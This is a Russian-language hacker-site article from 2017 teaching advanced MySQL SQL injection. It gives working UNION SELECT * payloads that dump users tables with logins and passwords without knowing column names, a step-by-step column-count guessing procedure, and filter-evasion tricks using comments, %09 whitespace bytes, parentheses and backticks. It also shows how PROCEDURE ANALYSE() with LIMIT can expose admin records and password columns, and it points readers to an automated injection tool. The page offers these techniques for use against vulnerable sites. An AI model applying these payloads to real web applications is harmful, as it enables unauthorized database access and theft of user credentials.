Advanced SQL Injection Techniques
Автор: Soket 26.04.2017 12:32
Advanced SQL Injection Techniques, детали проведения SQL иньекции! tips and tricks
1. Вывод данных из таблицы, без указания имён столбцов
-
Необходимые условия:
- Версия MySQL >= 4.0 (необходимо присутствие оператора union)
- SQL инъекция должна быть с выводом (слепые инъекции не подходят)
- Кол-во столбцов в уязвимом запросе меньше либо равно чем кол-во столбцов в таблице, данные из которой нужно вывести.
- Достаточно большое кол-во полей должно выводится из уязвимого запроса (чем больше, тем лучше).
Описание:
Иногда, можно столкнуться с такой проблемой, как незнание имени столбца в таблице, данные из которой нужно вывести (разумеется это будет актуальным только в 4 версиях мускула). Нашёл способ как это можно решить. Наверное ни для кого не секрет, что для того что бы вывести все поля из таблицы можно воспользоваться такой конструкцией:
select * from tables;
Так же все знают, что что бы объединить два запроса оператором union нужно что бы количество полей в обоих запросах совпадало:
select 1,2,3 union select 4,5,6;
Теперь представим случай когда количество полей в уязвимом запросе и в нужной нам таблице совпадают:
select id, title, text from news where id = 1 and 1=2 union select id, login, password from users;
Что равносильно этому:
select id, title, text from news where id = 1 and 1=2 union select * from users;
Как уже было сказано запросы равносильные и преимущество второго запроса в том, что имена колонок можно и не знать, что в большинстве случаев нам на руку. Это всё конечно замечательно, но случай когда количество полей в обоих запросах будет совпадать достаточно редкий.
Но, как выяснилось, такая конструкция будет рабочей:
select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2 from users;
В результате на месте первых трёх полей будут данные из нужной нам таблицы (соответственно первое, второе и третье поле нужной таблицы), а на месте последних двух полей будут выведены цифры 1 и 2. Т.е. фактически мы можем выравнивать, таким вот образом, количество полей в обоих запросах и в результате выводить всю строку целиком не зная при этом имён столбцов.
Использовать конструкции:
select id, title, text, text2, text3 from news where id = 1 and 1=2 union select 1,2,* from users;
или
select id, title, text, text2, text3 from news where id = 1 and 1=2 union select 1,*,2 from users;
нельзя - символ '*' должен находиться в начале.
-
Как юзать:
- Находим инъекцию, желательно, если уязвимых запросов несколько (т.е. вы нашли несколько уязвимых скриптов) выбрать тот, в котором используется наибольшее количество полей (т.е. подбираем количество полей во всех инъекциях и смотрим в каком запросе используется большее количество полей) и одновременно с этим выводимых полей должно быть как можно больше.
- Подбираем количество полей в нужной нам таблице:
select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2,3,4 from users;
если ошибка, то полей в таблице больше чем 1, идём дальше:
select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2,3 from users;
если ошибка, то полей в таблице больше чем 2, идём дальше:
select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2 from users;
и т.д., пока не подбирем количество при котором ошибки не будет, т.е. появятся данные.
Не следует исключать случай, что кол-во полей в таблице с пользователями может быть больше чем количество полей, используемых в уязвимом запросе - тогда облом.
- Теперь, если инъекций много выбираем ту, в которой выводимых полей больше, особенно тех, что в начале т.к. поля из нужной нам таблицы будут помещены в начало.
Плюсы и минусы:
[+] - Можно выводить данные, не зная имён столбцов.
[+] - Выводя всю строку, можно увидеть данные которые могли не учитываться, к примеру наличие соли или статус пользователя или что нидь ещё, что так или иначе может пригодится.
[-] - Ксли из уязвимого запроса выводится мало полей, то часть данных мы просто не увидим. этим способом можно частично обойти:
select id, title, text, text2, text3 from news where id = 1 and 1=2 union select * from users, (select 1,2,3) as lala;
[-] - Возможна ситуация при которой понять что вывелось, крайней сложно.
2. Обход фильтрации: пробел (0x20). Недавно открыл для себя следующий trick, который может помочь в обходе фильтраций при проведениии SQL-injection в MySQL-сервере.
Общепринятое решение данной проблемы:
В MySQL пусто закрытый комментарий воспринимается как пробел:
-1/**/union/**/select/**/1,2,3,version(),4,5/*
Но в один прекрасный день эта фишка не прокатила из-за жесткой фильтрации слэшей. альтернатива есть. Еще один очень интересный метод заключается в том, что байты 0x09, 0x0A, 0x0B, 0x0C, 0x0D интерпретатор MySQL также обрабатывает как пробел:
-1%09union%09select%091,2,3,version(),4,5/*
Можно обходится без пробельных (любых разделяющих) символов вообще - используя скобки:
select(1),2,(3)from(user)where(id=1)
Или используя кавычки и тильду:
select`login`,2,'3'from`user`where`id`='1'
В таком случае имена таблиц и колонок обрамлять тильдами, а значения - кавычками. Значения можно так же обрамлять двойными кавычками.
3.SQL-инъекции и PROCEDURE ANALYSE()
PROCEDURE ANALYSE() - это процедура MySQL, которая исследует запрос и предлагает оптимальные типы данных для каждой колонки, участвующей в запросе. Процедура работает во всех версиях MySQL, начиная с третьей.
Синтаксис:
SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])
При вызове процедуры, весь результат запроса переписывается и возвращаются следующие данные:
mysql> SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE();
2 rows in set (0.00 sec)
Ни один из аргументов PROCEDURE ANALYSE() не позволяет использовать подзапросы внутри них, однако процедуру можно использовать в SQL-инъекциях для получения имен колонок, которые участвуют в выборке, таблицы и текущей базы данных. Особенно это актуально для MySQL версии 4, где нет системной базы данных information_schema, хранящей информацию о всех БД, таблицах и их колонках. К сожалению, имеется ряд ограничений:
- процедура позволяет узнать имя только той таблицы, ее колонок и базы данных, которые непосредственно участвуют в запросе
- эти данные находятся в первом столбце (Field_name), и в такой ситуации многое зависит от конкретного веб-приложения - от того, как оно выводит данные, возвращаемые базой данных
Для перебора записей с необходимыми данными возможно использование оператора LIMIT:
SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE()
вернет первую запись при условии, что веб-приложение допускает получение нескольких записей, но выводит только первую
SELECT user_login, user_pass FROM wp_users WHERE ID=1 LIMIT 1,1 PROCEDURE ANALYSE()
вернет вторую запись (wp.wp_users.user_pass)
Кроме столбца Field_name интерес представляют Min_value, Max_value и Optimal_fieldtype, которые выводят содержание соответствующих столбцов. Эту возможность можно использовать в такой ситуации: имеется уязвимое веб-приложение, отображающее профили зарегистрированных пользователей; параметр ID не фильтруется;
запрос для получения данных из БД имеет вид:
SELECT * FROM users WHERE id=1
в таблице users имеются столбцы login и status, последний отвечает за уровень привилегий пользователя;
Таким образом, используя PROCEDURE ANALYSE() и LIMIT, становится возможным подобрать запись пользователя с привилегиями администратора, и выявить содержание недоступных столбцов, в частности с паролями и другой конфиденциальной информацией пользователей. Правда, как уже говорилось, успех зависит от того, как веб-приложение обрабатывает и выводит данные из БД.
Для работы с иьекциями вам понадобится программа, которая автоматически будет посылать запросы - SQL Injection Tool
Твитнуть |
OtherMenu
VK Стена
- Новость: Хакерская группа #GhostShell объявила войну властям России
- Пост: Новые сиськи в альбоме "Девушки" http://vk.com/album-1815460 ...
- Новое фото в альбоме "Мемы/Тролфэйсы/Покетфэйсы и т.д."
- Новость: #Anonymous похитили личные электронные письма офицеров полиции Англии
- Новость: Что можно купить за 50 долларов
- Новость: Хотите заработать денег?
- Пост: Hacker с именем "LegitHacker97" заявил, что успешно взломал ...
- Новость: Киберпреступность виновата в задержках новых продуктов #Microsoft
- Новое фото в альбоме "Приколы"
- Ссылка: Wikileaks начал публикацию уставов американских военных тюрем
Cтатистика
SMS.копилка

Orphus
